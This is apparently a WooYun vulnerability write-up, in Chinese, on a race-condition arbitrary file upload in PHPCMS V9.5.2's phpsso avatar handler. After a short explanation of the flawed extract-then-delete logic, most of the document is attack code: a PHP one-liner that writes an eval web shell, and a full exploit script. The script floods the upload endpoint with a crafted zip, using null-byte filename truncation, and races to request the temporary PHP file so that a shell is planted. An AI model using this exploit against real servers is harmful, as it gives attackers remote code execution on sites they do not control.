WooYun.org

<?php
 if(isset($_GET['src'])){
 	copy($_GET['src'],$_GET['dst']);
 	//...
 	unlink($_GET['dst']);
 	//...
 }
?>

猛兽放进室内：copy($_GET['src'],$_GET['dst']);

这条猛兽不安全,杀之：unlink($_GET['dst']);

炸药包：$_GET['dst']-->此炸药包非彼炸药包,此炸药包的作用是生成恶意文件 :-)

copy($_GET['src'],$_GET['dst']);

public function uploadavatar() {
		
		//根据用户id创建文件夹
		if(isset($this->data['uid']) && isset($this->data['avatardata'])) {
			$this->uid = $this->data['uid'];
			$this->avatardata = $this->data['avatardata'];
		} else {
			exit('0');
		}
		
		$dir1 = ceil($this->uid / 10000);
		$dir2 = ceil($this->uid % 10000 / 1000);
		
		//创建图片存储文件夹
		$avatarfile = pc_base::load_config('system', 'upload_path').'avatar/';
		$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
		if(!file_exists($dir)) {
			mkdir($dir, 0777, true);
		}
		//存储flashpost图片
		$filename = $dir.$this->uid.'.zip';
		file_put_contents($filename, $this->avatardata);
		
		pc_base::load_sys_func('dir');
		//解压缩文件
		pc_base::load_app_class('pclzip', 'phpsso', 0);
		$archive = new PclZip($filename);
		$archive->allow_ext = array('jpg');
		$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);
		
		//判断文件安全，删除压缩包和非jpg图片
		$avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
		$files = glob($dir."*");
		foreach($files as $_files) {
			if(is_dir($_files)) dir_delete($_files);
			if(!in_array(basename($_files), $avatararr)) @unlink($_files);
		}
		if($handle = opendir($dir)) {
		    while(false !== ($file = readdir($handle))) {
				if($file !== '.' && $file !== '..') {
					if(!in_array($file, $avatararr)) {
						@unlink($dir.$file);
					} else {
						$info = @getimagesize($dir.$file);
						if(!$info || $info[2] !=2) {
							@unlink($dir.$file);
						}
					}
				}
		    }
		    closedir($handle);    
		}
		$this->db->update(array('avatar'=>1), array('uid'=>$this->uid));
		exit('1');
	}

$archive->allow_ext = array('jpg');

$archive = new PclZip($filename);
exit('zanting....');//我们添加的调试代码
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);

<?php fputs(fopen('../../../../shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

<?php
/**
 * Created by felixk3y
 * Date: 14-01-10
 * Name: PHPCMS V9.5.2 Arbitrary File Upload Exploit...
 * Blog: http://weibo.com/rootsafe
 */
 error_reporting(7);
 if($argc<2){
 	print "\n\tUsage:exp.php www.vulns.org\n";
 	exit();
 }
 $num = 0;
 $loop = 0;
 $host = $argv[1];
 $posts = post();
 $shell = "/phpcms/phpsso_server/uploadfile/shell.php";//生成shell的地址
 $tmpfile = "/phpcms/phpsso_server/uploadfile/avatar/1/1/1/1.php";//临时的php文件,后面会被删除
 //先访问临时数据包
 while(++$loop<6){
	 echo "正在进行第".$loop."轮尝试...\n";
	 while(++$num<11){
		 echo "正在进行第".$num."次尝试访问临时文件...\n";
		_get($host,$tmpfile);
	 }
	 $num = 0;
	 while(++$num<51){
		echo "正在进行第".$num."次提交ZIP数据包同时试访问临时文件...\n";
		send_http($host,$posts);//正常提交数据包
		//if($num%2==0){
			_get($host,$tmpfile);
		//}
	 }
	 $num = 0;
	 while(++$num<11){
		 echo "正在进行第".$num."次尝试访问临时文件...\n";
		_get($host,$tmpfile);
	 }
	 $num = 0;
 }
 $res = _get($host,$shell);
 if(preg_match('/200 OK/',$res)) {
	echo "--->Success!\n\n";
 }else{
	echo "------->Failed!\n\n";
 }
 function post(){
	 $asc = hex2asc("00");//目的是截断1.php.php.jpg为1.php
	 $repstr = "php".$asc."php";
	 $data = "";
	 $fp = fopen('phpcms.zip','r');//phpcms.zip要上传的数据包
	 while(!feof($fp)){
		$data .=fgets($fp);
	 }
	 $data = preg_replace('/php\.php/i',$repstr,$data);
	 return $data;
 }
 function hex2asc($str){//进制间转换
	$str = join('',explode('\x',$str));
	$len = strlen($str);
	for($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
	return $data;
}
 function _get($host,$path){ //http get方法
	$headers  = "GET $path HTTP/1.1\r\n";
	$headers .= "Host: ".$host."\r\n";
	$headers .= "Connection: close\r\n\r\n";
    $fp = @fsockopen($host,80);
    fputs($fp, $headers);
	$resp = '';
	while (!feof($fp)){
		$resp .= fgets($fp, 2048);
	}
    return $resp;
 }
 function send_http($host,$post)
 {
    $data = "POST /phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=f58eCAZVBQJSVAkJA1sCWQpRAFBQVVEBDlYEAgQRWQUOVx9IRTpURxYMZlJWGgoJfmZiDUZXKm5PcjcTbgBfNgoAW0hwFAFqFC9bemJacg HTTP/1.1\r\n";
    $data .= "Host: www.vulns.org\r\n";
    $data .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Accept-Encoding: gzip, deflate\r\n";
    $data .= "Connection: keep-alive\r\n";
    $data .= "Content-Length: " . strlen($post) . "\r\n\r\n";
    $data .= $post . "\r\n";
    //echo $data;
    $fp = @fsockopen($host,80,$errno,$errstr,30);
    if(!$fp){
        echo $errno.'-->'.$errstr."\n";
        exit('Could not connect to: '.$host);
    }else{
        fputs($fp, $data);
        $back = '';
        while(!feof($fp)){
            $back .= fgets($fp, 2048);
        }
        fclose($fp);
    }
    return $back;
 }
 ?>